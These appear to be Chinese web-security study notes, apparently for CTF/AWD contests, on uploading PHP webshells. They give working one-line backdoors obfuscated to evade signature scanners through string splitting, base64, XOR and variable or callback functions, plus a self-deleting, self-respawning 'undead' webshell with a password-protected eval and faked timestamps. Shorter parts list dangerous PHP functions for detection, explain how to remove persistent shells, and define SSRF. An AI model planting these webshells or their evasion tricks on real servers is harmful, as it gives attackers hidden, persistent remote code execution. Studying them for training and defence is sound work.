复习:上传木马 攻击成功必须满足三个条件:
1、木马能成功上传到服务器
2、知道木马上传到服务器的路径
3、上传的木马能被解析执行
eval和assert的区别:
相同点:都能把字符串作为PHP代码执行。
不同点:eval()不能被可变函数调用。eval函数实际是一个语言构造器,相当于c语言的预定义宏,属于php语言内部关键字。
但是php7.1以上已经废弃了assert。木马变形
传统木马防护检测一般是:基于特征检测的防护,如正则表达式和黑名单。
隐藏关键字
绕过php代码标志<?的限制
<script language="php">@eval($_POST['cmd']);</script>
拆分拼接
<?php $arr=explode(",","a,s,d,f,s,d,e,k,r,t"); //把字符串打散为数组 $payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成assert //php版本要求:<=7.0 @$payload(@$_GET['x']); ?>
编码
<?php $a=base64_decode("YXNzZXJ0"); @$a($_POST('cmd')); ?>
随机异或,用异或运算来组成字符
<?php //也可以用十六进制进行进一步加密,例如 //$r="x4d"^"x3f"; $a="Y"^"8";//a $b="T"^"'";//s $c="*"^"O";//e $d="M"^"?";//r $e="-"^"Y";//t $payload=$a.$b.$b.$c.$d.$e;//拼接成assert @$payload(@$_POST['x']); ?>
可变函数
<?php @$_REQUEST['e'](@$_REQUEST['x']); //传入e=assert&x=command ?>
可变变量
<?php $a='assert'; $b='a'; //$$b=$a='assert' $$b($_POST['x']); //assert($_POST['x']) ?>
回调函数
回调函数:PHP是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。
如:
call_user_func ( $callback , $parameter)
$callback :被调用的回调函数
$parameter:0个或以上的参数,被传入回调函数。
木马使用
执行系统命令
system()–执行外部程序,并显示输出
passthru()–执行外部程序并且显示原始输出
exec()–执行一个外部程序,不输出结果,echo返回结果的最后一行。
shell_exec()或
–通过shell环境执行命令,需要echo
读文件
file_ get_contents 一将整个文件读入为一个字符串
file()一把整个文件读入一个数组中
readfile一读取一个文件,并写入到输出缓冲
遍历目录
scandir() 函数返回一个指定目录中的文件和目录的数组。
木马的特征与查杀(AWD)
基于特征检测,检测敏感关键字,如:危险函数、特殊函数
工具:D盾
1、代码执行函数:
- eval
- assert
- pre_replace
- create_function
- 回调函数 call_user_func、call_user_func_array、register_tick_function、array_filter等等
- ……………….
2、命令执行函数:
- exec()–执行一个外部程序
- passthru()–执行外部程序并且显示原始输出
- proc_open()–执行一个命令,并且打开用来输入/输出的文件指针
- shell_exec()或
- system()–执行外部程序,并显示输出
- popen()–通过参数传递一条命令,并对popen打开的文件执行
3、文件操作函数:
- file_ get_contents 一将整个文件读入为一个字符串
- file_ put_ contents 一将一个字符串写入文件
- file()一把整个文件读入一个数组中
- fopen一打开文件或者URL
- move_ uploaded file 一将上传的文件移动到新位置
- readfile一读取一个文件,并写入到输出缓冲
- rename一重命名一个文件或目录
- rmdir一删除目录
- unlink & delete 一删除文件
4、包含函数:
- require、require_once
- include、include_once
5、特殊函数:
- phpinfo
- 变量覆盖 parse_str、extract
- …………………
不死马
不死马即内存马,它无文件,但程序会永久的运行在PHP进程中,无限执行,很隐蔽不易被发现,也不容易被删除。不死马相关代码
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = './.index1.php'; $code = '<?php if(md5($_POST["pass"])=="5c44d3ed7462245f57b37f8fe2a3d5de"){@eval($_POST["cmd"]);} ?>'; //pass=nepnep 用法:pass=nepnep&cmd=command while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .index1.php'); usleep(5000); } ?>
ignore_user_abort(true):此函数用来设置 客户机断开后是否会终止脚本的执行,设置成true,客户机断开后脚本仍然会执行。
set_time_limit(0):设置脚本最大执行时间,设为0表示没有限制。
unlink(_FILE_): 删除文件本身,起到隐蔽自身的作用。
usleep():延迟执行当前脚本若干微秒。
注:
pass参数使用了MD5加密,防止木马被他人利用。
不死马的查杀:
1、重启服务,比如php 等web服务。
2、创建一个和不死马同名的文件夹。
3、删除相应进程。查出不死马进程PID后,用命令kill -9 PID 杀掉进程。
4、竞争写入删除不死马的文件,usleep的时间必须要小于不死马的延迟时间才会有效。
SSRF
SSRF的定义与成因
SSRF(服务端请求伪造)是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
(正是因为由服务端发起,所以它能够请求到与它相连而与外网隔离的内部系统)
原因:服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤、限制。